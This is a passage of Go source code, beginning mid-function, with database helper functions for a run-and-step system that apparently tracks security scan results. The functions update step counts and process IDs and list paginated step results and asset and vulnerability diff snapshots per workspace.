%w", err) } rowsAffected, _ := result.RowsAffected() if rowsAffected == 0 { return fmt.Errorf("run not found") } return nil } // IncrementRunCompletedSteps increments the completed_steps counter for a run func IncrementRunCompletedSteps(ctx context.Context, runUUID string) error { if db == nil { return fmt.Errorf("database not connected") } now := time.Now() result, err := db.NewUpdate(). Model((*Run)(nil)). Set("completed_steps = completed_steps + 1"). Set("updated_at = ?", now). Where("run_uuid = ?", runUUID). Exec(ctx) if err != nil { return fmt.Errorf("failed to increment completed steps: %w", err) } rowsAffected, _ := result.RowsAffected() if rowsAffected == 0 { return fmt.Errorf("run not found") } return nil } // UpdateRunPID updates the current process ID for a run // This is used for cancellation support - the PID can be used to kill the running process func UpdateRunPID(ctx context.Context, runUUID string, pid int) error { if db == nil { return fmt.Errorf("database not connected") } now := time.Now() _, err := db.NewUpdate(). Model((*Run)(nil)). Set("current_pid = ?", pid). Set("updated_at = ?", now). Where("run_uuid = ?", runUUID). Exec(ctx) if err != nil { return fmt.Errorf("failed to update run PID: %w", err) } return nil } // ClearRunPID clears the current process ID for a run (sets to 0) // This should be called when a process completes or the run is cancelled func ClearRunPID(ctx context.Context, runUUID string) error { if db == nil { return fmt.Errorf("database not connected") } now := time.Now() _, err := db.NewUpdate(). Model((*Run)(nil)). Set("current_pid = ?", 0). Set("updated_at = ?", now). Where("run_uuid = ?", runUUID). Exec(ctx) if err != nil { return fmt.Errorf("failed to clear run PID: %w", err) } return nil } // GetRunSteps returns step results for a run func GetRunSteps(ctx context.Context, runID string) ([]StepResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } run, err := GetRunByID(ctx, runID, false, false) if err != nil { return nil, err } var steps []StepResult err = db.NewSelect(). Model(&steps). Where("run_id = ?", run.ID). Order("created_at ASC"). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch steps: %w", err) } return steps, nil } // GetRunArtifacts returns artifacts for a run func GetRunArtifacts(ctx context.Context, runID string) ([]Artifact, error) { if db == nil { return nil, fmt.Errorf("database not connected") } run, err := GetRunByID(ctx, runID, false, false) if err != nil { return nil, err } var artifacts []Artifact err = db.NewSelect(). Model(&artifacts). Where("run_id = ?", run.ID). Order("created_at DESC"). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch artifacts: %w", err) } return artifacts, nil } // StepResultQuery holds query parameters for listing step results type StepResultQuery struct { Workspace string Status string StepType string RunUUID string Offset int Limit int } // StepResultResult holds paginated step result results type StepResultResult struct { Data []StepResult TotalCount int Offset int Limit int } // ListStepResults returns step results with pagination and filtering func ListStepResults(ctx context.Context, query StepResultQuery) (*StepResultResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &StepResultResult{ Offset: query.Offset, Limit: query.Limit, } applyFilters := func(q *bun.SelectQuery) *bun.SelectQuery { // Join with runs table if filtering by RunUUID or Workspace if query.RunUUID != "" || query.Workspace != "" { q = q.Join("JOIN runs r ON r.id = sr.run_id") } if query.RunUUID != "" { q = q.Where("r.run_uuid = ?", query.RunUUID) } if query.Status != "" { q = q.Where("sr.status = ?", query.Status) } if query.StepType != "" { q = q.Where("sr.step_type = ?", query.StepType) } if query.Workspace != "" { q = q.Where("r.workspace = ?", query.Workspace) } return q } countQuery := db.NewSelect().Model((*StepResult)(nil)) countQuery = applyFilters(countQuery) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count step results: %w", err) } result.TotalCount = count baseQuery := db.NewSelect().Model(&result.Data) baseQuery = applyFilters(baseQuery) err = baseQuery. Order("sr.completed_at ASC"). Offset(query.Offset). Limit(query.Limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch step results: %w", err) } return result, nil } // AssetDiffSnapshotResult holds paginated asset diff snapshot results type AssetDiffSnapshotResult struct { Data []AssetDiffSnapshot TotalCount int Offset int Limit int } // ListAssetDiffSnapshots returns asset diff snapshots with pagination func ListAssetDiffSnapshots(ctx context.Context, workspace string, offset, limit int) (*AssetDiffSnapshotResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &AssetDiffSnapshotResult{ Offset: offset, Limit: limit, } countQuery := db.NewSelect().Model((*AssetDiffSnapshot)(nil)) if workspace != "" { countQuery = countQuery.Where("workspace_name = ?", workspace) } count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count asset diff snapshots: %w", err) } result.TotalCount = count baseQuery := db.NewSelect().Model(&result.Data) if workspace != "" { baseQuery = baseQuery.Where("workspace_name = ?", workspace) } err = baseQuery. Order("created_at DESC"). Offset(offset). Limit(limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch asset diff snapshots: %w", err) } return result, nil } // VulnDiffSnapshotResult holds paginated vulnerability diff snapshot results type VulnDiffSnapshotResult struct { Data []VulnDiffSnapshot TotalCount int Offset int Limit int } // ListVulnDiffSnapshots returns vulnerability diff snapshots with pagination func ListVulnDiffSnapshots(ctx context.Context, workspace string, offset, limit int) (*VulnDiffSnapshotResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &VulnDiffSnapshotResult{ Offset: offset, Limit: limit, } countQuery := db.NewSelect().Model((*VulnDiffSnapshot)(nil)) if workspace != "" { countQuery = countQuery.Where("workspace_name = ?", workspace) } count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count vulnerability diff snapshots: %w", err) } result.TotalCount = count baseQuery := db.NewSelect().Model(&result.Data) if workspace != "" { baseQuery = baseQuery.Where("workspace_name = ?", workspace) } err = baseQuery. Order("created_at DESC"). Offset(offset). Limit(limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch vulnerability diff snapshots: %w", err) } return result, nil }